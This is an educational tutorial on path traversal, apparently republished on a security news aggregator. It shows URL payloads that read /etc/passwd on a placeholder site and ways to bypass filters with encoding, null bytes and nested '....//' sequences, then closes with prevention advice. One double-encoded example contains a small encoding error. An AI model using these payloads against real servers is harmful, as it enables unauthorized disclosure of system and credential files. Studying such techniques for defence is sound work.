Zum Hauptinhalt springen
••••••••••••••••••••
Intelligence View
⚡ tsecurity.de Intelligence

Path Traversal — A tour to the web server’s assets

Path Traversal — A tour to the web server’s assetsPath traversal, also known as Directory traversal, is a vulnerability that can reveal sensitive information st…

Beitrag
0
Seite
0
↗ Quelle (infosecwriteups.com)
Social ReaktionenReagiere als Erste:r — dein Feedback zählt!

Path Traversal — A tour to the web server’s assets

Path traversal, also known as Directory traversal, is a vulnerability that can reveal sensitive information stored on the web server.

Path traversal vulnerability can be easily found on vulnerable websites, which enables attacker to read file’s content, including passwd file, configuration files, database files, etc.

Before understanding the path traversal vulnerability, Let’s just first understand what is “Path” in the terms of web.

Structure of an URL

As you can see in above image, After the domain or top level domain, Path is specified to serve a specific file to the client.

Now, as we change the path of the URL, we can assess different files stored on server.

Assume: we have a website that serves cats.png file to the client.

https://www.example.com/images?file=cats.png

Now, if the website is running on Linux system, so typically the actual path of the cats.png should be as given below (in general).

/var/www/images/cats.png

Now, to access the sensitive file “/etc/passwd”, we have to go back three directories back and then put “/etc/passwd” in the url

Original url: https://www.example.com/images?file=cats.png
Updated url: https://www.example.com/images?file=../../../etc/passwd

which will show the content of the /etc/passwd file which stores users’ details.

To prevent such type of attacks, website uses various filters. But there are still some ways to bypass those filters. Some techniques are shown below:

1. Use Absolute path:

Try absolute path of the file, instead of relative path:

Try this: https://www.example.com/images?file=/etc/passwd
Instead of this: https://www.example.com/images?file=../../../etc/passwd

Absolute path: /etc/passwd
Relative path: ../../../etc/passwd

2. Use URL-Encoding:

Sometimes server, revomes “../” term from url, but you can use single URL Encoding or even Double URL Encoding.

URL: https://www.example.com/images?file=../../etc/passwd
single url encoded: https://www.example.com/images?file=%2e%2e%2f%2e%2e%2fetc%2fpasswd
double url encoded: https://www.example.com/images?file=%252e%252e%252f%252e%252e%252fetc%252passwd

single encoding of ../ = %2e%2e%2f
double encoding of ../ = %252e%252e%252f

3. Use specific directory path in the url:

Sometimes, server filter like that you must put specific directory in the url to validate it.

URL: https://www.example.com/images?file=/var/www/images/cats.png
Here, /var/www/images/ directory must be present in the url.

In such case,
Try this: https://www.example.com/images?file=/var/www/images/../../../etc/passwd

4. Use specific extension of the file in the url:

Server may filter specific extension of the file, so user can’t steal sensitive data from file. But you can bypass it using “null byte”

URL: https://www.example.com/images?file=cats.png
Here .png must be present in the url.

In such case,
Try this: https://www.example.com/images?file=../../../etc/passwd%00.png

Here, “%00” indicates null byte, which tells to the server that “Ignore the rest of the part of the url after %00” indicating the end of string.

5. Use ….// or ….\/ for traversal

Web server may filter ../ string from the url, but you can use ….// or ….\/ in the url. So even if server strip ../ from the url you can still have another ../ in the url.

URL: https://www.example.com/images?file=....//....//....//etc/passwd
server will strip ../ from the url.
removing http://www.example.com/images?files=.. '../' /.. '../' /.. '../' /etc/passwd

The url will be look after striping:
https://www.example.com/images?file=../../../etc/passwd

Example:

Using Absolute Path
Accessing /etc/passwd file

How to prevent:

  • Validate the user input before processing it. Ideally, compare the user input with a whitelist of permitted values. If that isn’t possible, verify that the input contains only permitted content, such as alphanumeric characters only.
  • After validating the supplied input, append the input to the base directory and use a platform filesystem API to canonicalize the path. Verify that the canonicalized path starts with the expected base directory.
absolute path: \var\www\images\..\images\cats.png
canonical path: \var\www\images\cats.png

Path Traversal — A tour to the web server’s assets was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

🔍 CTI & Forensik

Cyber Threat Intelligence & Forensik

ATT&CK-Navigator · IoC-Radar · Exploit-Belege
IoC Intelligence
1 Indikatoren · Defanged · STIX 2.1
details[.]to
CTI Threat Relationship Graph
Akteure · Techniken · Beziehungen
5 Knoten · 4 Relationen
CVE / Incident Threat Actor Software MITRE ATT&CK CWE Weakness IoC
Ähnliche Beiträge
🔍 Verwandte News

Auch interessante Nachrichten Path Traversal — A tour to the web server’s assets

Thematisch verwandte Begriffe: Path, Traversal  A, tour, servers · 6 Treffer

Laden...

Videos werden geladen ...

Laden...

Beiträge werden geladen ...

Laden...

Videos werden geladen ...

Laden...

Beiträge werden geladen ...

Laden...

Videos werden geladen ...

Laden...

Beiträge werden geladen ...

Laden...

Videos werden geladen ...

Laden...

Beiträge werden geladen ...

Laden...

Videos werden geladen ...

💬 Kommentare werden geladen…
Zum Aktualisieren ziehen
tsecurity.de Icon
Offline-Lesen, Eilmeldungen & 0ms Ladezeit

Installiere tsecurity.de direkt auf deinen Home-Bildschirm für das ultimative Vollbild-Magazinerlebnis ohne Browser-Leisten.

Nächster Beitrag